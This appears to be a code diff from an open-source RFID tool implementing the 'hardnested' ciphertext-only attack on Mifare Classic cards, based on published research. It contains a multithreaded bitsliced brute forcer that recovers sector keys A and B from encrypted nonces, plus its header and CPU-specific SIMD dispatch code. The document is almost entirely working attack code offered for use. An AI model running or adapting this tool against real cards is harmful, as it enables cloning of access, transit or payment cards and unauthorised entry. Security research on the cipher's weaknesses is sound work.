4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
};
return trailing_zeros_LUT[byte];
}
bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even) {
struct Crypto1State pcs;
for (uint16_t test_first_byte = 1; test_first_byte < 256; test_first_byte++) {
noncelistentry_t *test_nonce = nonces[best_first_bytes[test_first_byte]].first;
while (test_nonce != NULL) {
pcs.odd = odd;
pcs.even = even;
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
uint8_t test_par_enc_bit = (test_nonce->par_enc >> byte_pos) & 0x01; // the encoded parity bit
uint8_t test_byte_enc = (test_nonce->nonce_enc >> (8 * byte_pos)) & 0xff; // the encoded nonce byte
uint8_t test_byte_dec = crypto1_byte(&pcs, test_byte_enc /* ^ (cuid >> (8*byte_pos)) */, true) ^ test_byte_enc; // decode the nonce byte
uint8_t ks_par = filter(pcs.odd); // the keystream bit to encode/decode the parity bit
uint8_t test_par_enc2 = ks_par ^ evenparity8(test_byte_dec); // determine the decoded byte's parity and encode it
if (test_par_enc_bit != test_par_enc2) {
return false;
}
}
test_nonce = test_nonce->next;
}
}
return true;
}
static void*
#ifdef __has_attribute
#if __has_attribute(force_align_arg_pointer)
__attribute__((force_align_arg_pointer))
#endif
#endif
crack_states_thread(void* x) {
struct arg {
bool silent;
int thread_ID;
uint32_t cuid;
uint32_t num_acquired_nonces;
uint64_t maximum_states;
noncelist_t *nonces;
uint8_t* best_first_bytes;
uint8_t trgBlock;
uint8_t trgKey;
} *thread_arg;
thread_arg = (struct arg *) x;
const int thread_id = thread_arg->thread_ID;
uint32_t current_bucket = thread_id;
while (current_bucket < bucket_count) {
statelist_t *bucket = buckets[current_bucket];
if (bucket) {
const uint64_t key = crack_states_bitsliced(thread_arg->cuid, thread_arg->best_first_bytes, bucket, &keys_found, &num_keys_tested, nonces_to_bruteforce, bf_test_nonce_2nd_byte, thread_arg->nonces);
if (key != -1) {
__sync_fetch_and_add(&keys_found, 1);
char progress_text[80];
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
if (thread_arg->trgKey == MC_AUTH_A){
t.sectors[thread_arg->trgBlock / 4].foundKeyA = true;
num_to_bytes(key, 6, t.sectors[thread_arg->trgBlock / 4].KeyA);
} else {
t.sectors[thread_arg->trgBlock / 4].foundKeyB = true;
num_to_bytes(key, 6, t.sectors[thread_arg->trgBlock / 4].KeyB);
}
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0, thread_arg->trgBlock, thread_arg->trgKey, true);
break;
} else if (keys_found) {
break;
} else {
if (!thread_arg->silent) {
char progress_text[80];
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000, thread_arg->trgBlock, thread_arg->trgKey, true);
}
}
}
current_bucket += num_CPUs();
}
return NULL;
}
void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte) {
// we do bitsliced brute forcing with best_first_bytes[0] only.
// Extract the corresponding 2nd bytes
noncelistentry_t *test_nonce = nonces[best_first_byte].first;
uint32_t i = 0;
while (test_nonce != NULL) {
bf_test_nonce[i] = test_nonce->nonce_enc;
bf_test_nonce_par[i] = test_nonce->par_enc;
bf_test_nonce_2nd_byte[i] = (test_nonce->nonce_enc >> 16) & 0xff;
test_nonce = test_nonce->next;
i++;
}
nonces_to_bruteforce = i;
uint8_t best_4[4] = {0};
int sum_best = -1;
for (uint16_t n1 = 0; n1 < nonces_to_bruteforce; n1++) {
for (uint16_t n2 = 0; n2 < nonces_to_bruteforce; n2++) {
if (n2 != n1) {
for (uint16_t n3 = 0; n3 < nonces_to_bruteforce; n3++) {
if ((n3 != n2 && n3 != n1) || nonces_to_bruteforce < 3
) {
for (uint16_t n4 = 0; n4 < nonces_to_bruteforce; n4++) {
if ((n4 != n3 && n4 != n2 && n4 != n1) || nonces_to_bruteforce < 4
) {
int sum = nonces_to_bruteforce > 1 ? trailing_zeros(bf_test_nonce_2nd_byte[n1] ^ bf_test_nonce_2nd_byte[n2]) : 0.0
+ nonces_to_bruteforce > 2 ? trailing_zeros(bf_test_nonce_2nd_byte[n2] ^ bf_test_nonce_2nd_byte[n3]) : 0.0
+ nonces_to_bruteforce > 3 ? trailing_zeros(bf_test_nonce_2nd_byte[n3] ^ bf_test_nonce_2nd_byte[n4]) : 0.0;
if (sum > sum_best) {
sum_best = sum;
best_4[0] = n1;
best_4[1] = n2;
best_4[2] = n3;
best_4[3] = n4;
}
}
}
}
}
}
}
}
uint32_t bf_test_nonce_temp[4];
uint8_t bf_test_nonce_par_temp[4];
uint8_t bf_test_nonce_2nd_byte_temp[4];
for (uint8_t i = 0; i < 4 && i < nonces_to_bruteforce; i++) {
bf_test_nonce_temp[i] = bf_test_nonce[best_4[i]];
bf_test_nonce_par_temp[i] = bf_test_nonce_par[best_4[i]];
bf_test_nonce_2nd_byte_temp[i] = bf_test_nonce_2nd_byte[best_4[i]];
}
for (uint8_t i = 0; i < 4 && i < nonces_to_bruteforce; i++) {
bf_test_nonce[i] = bf_test_nonce_temp[i];
bf_test_nonce_par[i] = bf_test_nonce_par_temp[i];
bf_test_nonce_2nd_byte[i] = bf_test_nonce_2nd_byte_temp[i];
}
}
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey) {
bool silent = (bf_rate != NULL);
keys_found = 0;
num_keys_tested = 0;
bitslice_test_nonces(nonces_to_bruteforce, bf_test_nonce, bf_test_nonce_par);
// count number of states to go
bucket_count = 0;
for (statelist_t *p = candidates; p != NULL; p = p->next) {
if (p->states[ODD_STATE] != NULL && p->states[EVEN_STATE] != NULL) {
buckets[bucket_count] = p;
bucket_count++;
}
}
uint8_t num_core = num_CPUs();
pthread_t* threads = (pthread_t*)malloc(sizeof(pthread_t) * num_core);
uint64_t start_time = msclock();
struct args {
bool silent;
int thread_ID;
uint32_t cuid;
uint32_t num_acquired_nonces;
uint64_t maximum_states;
noncelist_t *nonces;
uint8_t *best_first_bytes;
uint8_t trgBlock;
uint8_t trgKey;
} *thread_args = malloc(num_core * sizeof(*thread_args));
for (uint8_t i = 0; i < num_core; i++) {
thread_args[i].thread_ID = i;
thread_args[i].silent = silent;
thread_args[i].cuid = cuid;
thread_args[i].num_acquired_nonces = num_acquired_nonces;
thread_args[i].maximum_states = maximum_states;
thread_args[i].nonces = nonces;
thread_args[i].best_first_bytes = best_first_bytes;
thread_args[i].trgBlock = trgBlock;
thread_args[i].trgKey = trgKey;
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
}
for (uint8_t i = 0; i < num_core; i++) {
pthread_join(threads[i], 0);
}
free(thread_args);
free(threads);
uint64_t elapsed_time = msclock() - start_time;
if (bf_rate != NULL) {
*bf_rate = (float) num_keys_tested / ((float) elapsed_time / 1000.0);
}
return (keys_found != 0);
}
static void _read(void *buf, size_t size, size_t count, uint8_t *stream, size_t *pos) {
size_t len = size * count;
memcpy(buf, &stream[*pos], len);
*pos += len;
}
static bool read_bench_data(statelist_t *test_candidates) {
uint8_t *bench_data = bf_bench_data_bin;
size_t pos = 0;
uint32_t temp = 0;
uint32_t num_states = 0;
uint32_t states_read = 0;
_read(&nonces_to_bruteforce, 1, sizeof (nonces_to_bruteforce), bench_data, &pos);
for (uint16_t i = 0; i < nonces_to_bruteforce && i < 256; i++) {
_read(&bf_test_nonce[i], 1, sizeof (uint32_t), bench_data, &pos);
bf_test_nonce_2nd_byte[i] = (bf_test_nonce[i] >> 16) & 0xff;
_read(&bf_test_nonce_par[i], 1, sizeof (uint8_t), bench_data, &pos);
}
_read(&num_states, 1, sizeof (uint32_t), bench_data, &pos);
for (states_read = 0; states_read < MIN(num_states, TEST_BENCH_SIZE); states_read++) {
_read(test_candidates->states[EVEN_STATE] + states_read, 1, sizeof (uint32_t), bench_data, &pos);
}
for (uint32_t i = states_read; i < TEST_BENCH_SIZE; i++) {
test_candidates->states[EVEN_STATE][i] = test_candidates->states[EVEN_STATE][i - states_read];
}
for (uint32_t i = states_read; i < num_states; i++) {
_read(&temp, 1, sizeof (uint32_t), bench_data, &pos);
}
for (states_read = 0; states_read < MIN(num_states, TEST_BENCH_SIZE); states_read++) {
_read(test_candidates->states[ODD_STATE] + states_read, 1, sizeof (uint32_t), bench_data, &pos);
}
for (uint32_t i = states_read; i < TEST_BENCH_SIZE; i++) {
test_candidates->states[ODD_STATE][i] = test_candidates->states[ODD_STATE][i - states_read];
}
return true;
}
float brute_force_benchmark() {
uint8_t num_core = num_CPUs();
statelist_t* test_candidates = malloc(num_core * sizeof(*test_candidates));
test_candidates[0].states[ODD_STATE] = malloc((TEST_BENCH_SIZE + 1) * sizeof (uint32_t));
test_candidates[0].states[EVEN_STATE] = malloc((TEST_BENCH_SIZE + 1) * sizeof (uint32_t));
for (uint8_t i = 0; i < num_core - 1; i++) {
test_candidates[i].next = test_candidates + i + 1;
test_candidates[i + 1].states[ODD_STATE] = test_candidates[0].states[ODD_STATE];
test_candidates[i + 1].states[EVEN_STATE] = test_candidates[0].states[EVEN_STATE];
}
test_candidates[num_core - 1].next = NULL;
if (!read_bench_data(test_candidates)) {
PrintAndLog(true, "Couldn't read benchmark data. Assuming brute force rate of %1.0f states per second", DEFAULT_BRUTE_FORCE_RATE);
return DEFAULT_BRUTE_FORCE_RATE;
}
for (uint8_t i = 0; i < num_core; i++) {
test_candidates[i].len[ODD_STATE] = TEST_BENCH_SIZE;
test_candidates[i].len[EVEN_STATE] = TEST_BENCH_SIZE;
test_candidates[i].states[ODD_STATE][TEST_BENCH_SIZE] = -1;
test_candidates[i].states[EVEN_STATE][TEST_BENCH_SIZE] = -1;
}
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) num_core;
float bf_rate;
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0, 0, 0);
free(test_candidates[0].states[ODD_STATE]);
free(test_candidates[0].states[EVEN_STATE]);
free(test_candidates);
return bf_rate;
}

View File

@ -0,0 +1,37 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
#ifndef HARDNESTED_BRUTEFORCE_H__
#define HARDNESTED_BRUTEFORCE_H__
#include <stdint.h>
#include <stdbool.h>
#include "../cmdhfmfhard.h"
#include "../mfoc.h"
typedef struct {
uint32_t *states[2];
uint32_t len[2];
void* next;
} statelist_t;
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey);
extern float brute_force_benchmark();
extern uint8_t trailing_zeros(uint8_t byte);
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);
#endif

View File

@ -0,0 +1,396 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.ch b
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
// some helper functions which can benefit from SIMD instructions or other special instructions
//
#include "hardnested_cpu_dispatch.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef _MSC_VER
#include <intrin.h>
#endif
#ifdef X86_SIMD
// pointers to functions:
malloc_bitarray_t* malloc_bitarray_function_p = &malloc_bitarray_dispatch;
free_bitarray_t* free_bitarray_function_p = &free_bitarray_dispatch;
bitarray_AND_t* bitarray_AND_function_p = &bitarray_AND_dispatch;
count_bitarray_AND_t* count_bitarray_AND_function_p = &count_bitarray_AND_dispatch;
count_bitarray_low20_AND_t* count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_dispatch;
bitarray_AND4_t* bitarray_AND4_function_p = &bitarray_AND4_dispatch;
bitarray_OR_t* bitarray_OR_function_p = &bitarray_OR_dispatch;
count_bitarray_AND2_t* count_bitarray_AND2_function_p = &count_bitarray_AND2_dispatch;
count_bitarray_AND3_t* count_bitarray_AND3_function_p = &count_bitarray_AND3_dispatch;
count_bitarray_AND4_t* count_bitarray_AND4_function_p = &count_bitarray_AND4_dispatch;
crack_states_bitsliced_t* crack_states_bitsliced_function_p = &crack_states_bitsliced_dispatch;
bitslice_test_nonces_t* bitslice_test_nonces_function_p = &bitslice_test_nonces_dispatch;
SIMDExecInstr GetSIMDInstr() {
SIMDExecInstr instr = SIMD_NONE;
#ifdef _MSC_VER
int cpuid[4];
__cpuid(cpuid, 1);
if (cpuid[1] >> 16 & 1) instr = SIMD_AVX512;
else if (cpuid[1] >> 5 & 1) instr = SIMD_AVX2;
else if (cpuid[2] >> 28 & 1) instr = SIMD_AVX;
else if (cpuid[3] >> 26 & 1) instr = SIMD_SSE2;
#else
if (__builtin_cpu_supports("avx512f")) instr = SIMD_AVX512;
else if (__builtin_cpu_supports("avx2")) instr = SIMD_AVX2;
else if (__builtin_cpu_supports("avx")) instr = SIMD_AVX;
else if (__builtin_cpu_supports("sse2")) instr = SIMD_SSE2;
#endif
return instr;
}
static void NoCpu() {
printf("\nThis program requires at least an SSE2 capable CPU. Exiting...\n");
exit(4);
}
// determine the available instruction set at runtime and call the correct function
uint32_t* malloc_bitarray_dispatch(uint32_t x) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
malloc_bitarray_function_p = &malloc_bitarray_AVX512;
break;
case SIMD_AVX2:
malloc_bitarray_function_p = &malloc_bitarray_AVX2;
break;
case SIMD_AVX:
malloc_bitarray_function_p = &malloc_bitarray_AVX;
break;
case SIMD_SSE2:
malloc_bitarray_function_p = &malloc_bitarray_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*malloc_bitarray_function_p)(x);
}
void free_bitarray_dispatch(uint32_t* x) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
free_bitarray_function_p = &free_bitarray_AVX512;
break;
case SIMD_AVX2:
free_bitarray_function_p = &free_bitarray_AVX2;
break;
case SIMD_AVX:
free_bitarray_function_p = &free_bitarray_AVX;
break;
case SIMD_SSE2:
free_bitarray_function_p = &free_bitarray_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
(*free_bitarray_function_p)(x);
}
void bitarray_AND_dispatch(uint32_t* A, uint32_t* B) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
bitarray_AND_function_p = &bitarray_AND_AVX512;
break;
case SIMD_AVX2:
bitarray_AND_function_p = &bitarray_AND_AVX2;
break;
case SIMD_AVX:
bitarray_AND_function_p = &bitarray_AND_AVX;
break;
case SIMD_SSE2:
bitarray_AND_function_p = &bitarray_AND_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
(*bitarray_AND_function_p)(A, B);
}
uint32_t count_bitarray_AND_dispatch(uint32_t* A, uint32_t* B) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
count_bitarray_AND_function_p = &count_bitarray_AND_AVX512;
break;
case SIMD_AVX2:
count_bitarray_AND_function_p = &count_bitarray_AND_AVX2;
break;
case SIMD_AVX:
count_bitarray_AND_function_p = &count_bitarray_AND_AVX;
break;
case SIMD_SSE2:
count_bitarray_AND_function_p = &count_bitarray_AND_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*count_bitarray_AND_function_p)(A, B);
}
uint32_t count_bitarray_low20_AND_dispatch(uint32_t* A, uint32_t* B) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_AVX512;
break;
case SIMD_AVX2:
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_AVX2;
break;
case SIMD_AVX:
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_AVX;
break;
case SIMD_SSE2:
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*count_bitarray_low20_AND_function_p)(A, B);
}
void bitarray_AND4_dispatch(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
bitarray_AND4_function_p = &bitarray_AND4_AVX512;
break;
case SIMD_AVX2:
bitarray_AND4_function_p = &bitarray_AND4_AVX2;
break;
case SIMD_AVX:
bitarray_AND4_function_p = &bitarray_AND4_AVX;
break;
case SIMD_SSE2:
bitarray_AND4_function_p = &bitarray_AND4_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
(*bitarray_AND4_function_p)(A, B, C, D);
}
void bitarray_OR_dispatch(uint32_t* A, uint32_t* B) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
bitarray_OR_function_p = &bitarray_OR_AVX512;
break;
case SIMD_AVX2:
bitarray_OR_function_p = &bitarray_OR_AVX2;
break;
case SIMD_AVX:
bitarray_OR_function_p = &bitarray_OR_AVX;
break;
case SIMD_SSE2:
bitarray_OR_function_p = &bitarray_OR_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
(*bitarray_OR_function_p)(A, B);
}
uint32_t count_bitarray_AND2_dispatch(uint32_t* A, uint32_t* B) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
count_bitarray_AND2_function_p = &count_bitarray_AND2_AVX512;
break;
case SIMD_AVX2:
count_bitarray_AND2_function_p = &count_bitarray_AND2_AVX2;
break;
case SIMD_AVX:
count_bitarray_AND2_function_p = &count_bitarray_AND2_AVX;
break;
case SIMD_SSE2:
count_bitarray_AND2_function_p = &count_bitarray_AND2_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*count_bitarray_AND2_function_p)(A, B);
}
uint32_t count_bitarray_AND3_dispatch(uint32_t* A, uint32_t* B, uint32_t* C) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
count_bitarray_AND3_function_p = &count_bitarray_AND3_AVX512;
break;
case SIMD_AVX2:
count_bitarray_AND3_function_p = &count_bitarray_AND3_AVX2;
break;
case SIMD_AVX:
count_bitarray_AND3_function_p = &count_bitarray_AND3_AVX;
break;
case SIMD_SSE2:
count_bitarray_AND3_function_p = &count_bitarray_AND3_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*count_bitarray_AND3_function_p)(A, B, C);
}
uint32_t count_bitarray_AND4_dispatch(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
count_bitarray_AND4_function_p = &count_bitarray_AND4_AVX512;
break;
case SIMD_AVX2:
count_bitarray_AND4_function_p = &count_bitarray_AND4_AVX2;
break;
case SIMD_AVX:
count_bitarray_AND4_function_p = &count_bitarray_AND4_AVX;
break;
case SIMD_SSE2:
count_bitarray_AND4_function_p = &count_bitarray_AND4_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*count_bitarray_AND4_function_p)(A, B, C, D);
}
uint64_t crack_states_bitsliced_dispatch(uint32_t cuid, uint8_t* best_first_bytes, statelist_t* p, uint32_t* keys_found, uint64_t* num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t* bf_test_nonce_2nd_byte, noncelist_t* nonces) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
crack_states_bitsliced_function_p = &crack_states_bitsliced_AVX512;
break;
case SIMD_AVX2:
crack_states_bitsliced_function_p = &crack_states_bitsliced_AVX2;
break;
case SIMD_AVX:
crack_states_bitsliced_function_p = &crack_states_bitsliced_AVX;
break;
case SIMD_SSE2:
crack_states_bitsliced_function_p = &crack_states_bitsliced_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
return (*crack_states_bitsliced_function_p)(cuid, best_first_bytes, p, keys_found, num_keys_tested, nonces_to_bruteforce, bf_test_nonce_2nd_byte, nonces);
}
void bitslice_test_nonces_dispatch(uint32_t nonces_to_bruteforce, uint32_t* bf_test_nonce, uint8_t* bf_test_nonce_par) {
switch (GetSIMDInstr()) {
case SIMD_AVX512:
bitslice_test_nonces_function_p = &bitslice_test_nonces_AVX512;
break;
case SIMD_AVX2:
bitslice_test_nonces_function_p = &bitslice_test_nonces_AVX2;
break;
case SIMD_AVX:
bitslice_test_nonces_function_p = &bitslice_test_nonces_AVX;
break;
case SIMD_SSE2:
bitslice_test_nonces_function_p = &bitslice_test_nonces_SSE2;
break;
default:
NoCpu();
}
// call the most optimized function for this CPU
(*bitslice_test_nonces_function_p)(nonces_to_bruteforce, bf_test_nonce, bf_test_nonce_par);
}
#else
malloc_bitarray_t* malloc_bitarray_function_p = &malloc_bitarray_NOSIMD;
free_bitarray_t* free_bitarray_function_p = &free_bitarray_NOSIMD;
bitarray_AND_t* bitarray_AND_function_p = &bitarray_AND_NOSIMD;
count_bitarray_AND_t* count_bitarray_AND_function_p = &count_bitarray_AND_NOSIMD;
count_bitarray_low20_AND_t* count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_NOSIMD;
bitarray_AND4_t* bitarray_AND4_function_p = &bitarray_AND4_NOSIMD;
bitarray_OR_t* bitarray_OR_function_p = &bitarray_OR_NOSIMD;
count_bitarray_AND2_t* count_bitarray_AND2_function_p = &count_bitarray_AND2_NOSIMD;
count_bitarray_AND3_t* count_bitarray_AND3_function_p = &count_bitarray_AND3_NOSIMD;
count_bitarray_AND4_t* count_bitarray_AND4_function_p = &count_bitarray_AND4_NOSIMD;
crack_states_bitsliced_t* crack_states_bitsliced_function_p = &crack_states_bitsliced_NOSIMD;
bitslice_test_nonces_t* bitslice_test_nonces_function_p = &bitslice_test_nonces_NOSIMD;
#endif
/////////////////////////////////////////////////
// Entries to dispatched function calls
inline uint32_t* malloc_bitarray(uint32_t x) {
return (*malloc_bitarray_function_p)(x);
}
inline void free_bitarray(uint32_t* x) {
(*free_bitarray_function_p)(x);
}
inline void bitarray_AND(uint32_t* A, uint32_t* B) {
(*bitarray_AND_function_p)(A, B);
}
inline uint32_t count_bitarray_AND(uint32_t* A, uint32_t* B) {
return (*count_bitarray_AND_function_p)(A, B);
}
inline uint32_t count_bitarray_low20_AND(uint32_t* A, uint32_t* B) {
return (*count_bitarray_low20_AND_function_p)(A, B);
}
inline void bitarray_AND4(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
(*bitarray_AND4_function_p)(A, B, C, D);
}
inline void bitarray_OR(uint32_t* A, uint32_t* B) {
(*bitarray_OR_function_p)(A, B);
}
inline uint32_t count_bitarray_AND2(uint32_t* A, uint32_t* B) {
return (*count_bitarray_AND2_function_p)(A, B);
}
inline uint32_t count_bitarray_AND3(uint32_t* A, uint32_t* B, uint32_t* C) {
return (*count_bitarray_AND3_function_p)(A, B, C);
}
inline uint32_t count_bitarray_AND4(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
return (*count_bitarray_AND4_function_p)(A, B, C, D);
}
uint64_t crack_states_bitsliced(uint32_t cuid, uint8_t* best_first_bytes, statelist_t* p, uint32_t* keys_found, uint64_t* num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t* bf_test_nonce_2nd_byte, noncelist_t* nonces) {
return (*crack_states_bitsliced_function_p)(cuid, best_first_bytes, p, keys_found, num_keys_tested, nonces_to_bruteforce, bf_test_nonce_2nd_byte, nonces);
}
void bitslice_test_nonces(uint32_t nonces_to_bruteforce, uint32_t* bf_test_nonce, uint8_t* bf_test_nonce_par) {
(*bitslice_test_nonces_function_p)(nonces_to_bruteforce, bf_test_nonce, bf_test_nonce_par);
}

View File

@ -0,0 +1,197 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <stdint.h>
#include "hardnested_bruteforce.h" // statelist_t
#ifdef X86_SIMD
// typedefs and declaration of functions:
typedef uint32_t* malloc_bitarray_t(uint32_t);
malloc_bitarray_t malloc_bitarray_dispatch;
malloc_bitarray_t malloc_bitarray_AVX512;
malloc_bitarray_t malloc_bitarray_AVX2;
malloc_bitarray_t malloc_bitarray_AVX;
malloc_bitarray_t malloc_bitarray_SSE2;
typedef void free_bitarray_t(uint32_t*);
free_bitarray_t free_bitarray_dispatch;
free_bitarray_t free_bitarray_AVX512;
free_bitarray_t free_bitarray_AVX2;
free_bitarray_t free_bitarray_AVX;
free_bitarray_t free_bitarray_SSE2;
typedef void bitarray_AND_t(uint32_t[], uint32_t[]);
bitarray_AND_t bitarray_AND_dispatch;
bitarray_AND_t bitarray_AND_AVX512;
bitarray_AND_t bitarray_AND_AVX2;
bitarray_AND_t bitarray_AND_AVX;
bitarray_AND_t bitarray_AND_SSE2;
typedef uint32_t count_bitarray_AND_t(uint32_t*, uint32_t*);
count_bitarray_AND_t count_bitarray_AND_dispatch;
count_bitarray_AND_t count_bitarray_AND_AVX512;
count_bitarray_AND_t count_bitarray_AND_AVX2;
count_bitarray_AND_t count_bitarray_AND_AVX;
count_bitarray_AND_t count_bitarray_AND_SSE2;
typedef uint32_t count_bitarray_low20_AND_t(uint32_t*, uint32_t*);
count_bitarray_low20_AND_t count_bitarray_low20_AND_dispatch;
count_bitarray_low20_AND_t count_bitarray_low20_AND_AVX512;
count_bitarray_low20_AND_t count_bitarray_low20_AND_AVX2;
count_bitarray_low20_AND_t count_bitarray_low20_AND_AVX;
count_bitarray_low20_AND_t count_bitarray_low20_AND_SSE2;
typedef void bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
bitarray_AND4_t bitarray_AND4_dispatch;
bitarray_AND4_t bitarray_AND4_AVX512;
bitarray_AND4_t bitarray_AND4_AVX2;
bitarray_AND4_t bitarray_AND4_AVX;
bitarray_AND4_t bitarray_AND4_SSE2;
typedef void bitarray_OR_t(uint32_t[], uint32_t[]);
bitarray_OR_t bitarray_OR_dispatch;
bitarray_OR_t bitarray_OR_AVX512;
bitarray_OR_t bitarray_OR_AVX2;
bitarray_OR_t bitarray_OR_AVX;
bitarray_OR_t bitarray_OR_SSE2;
typedef uint32_t count_bitarray_AND2_t(uint32_t*, uint32_t*);
count_bitarray_AND2_t count_bitarray_AND2_dispatch;
count_bitarray_AND2_t count_bitarray_AND2_AVX512;
count_bitarray_AND2_t count_bitarray_AND2_AVX2;
count_bitarray_AND2_t count_bitarray_AND2_AVX;
count_bitarray_AND2_t count_bitarray_AND2_SSE2;
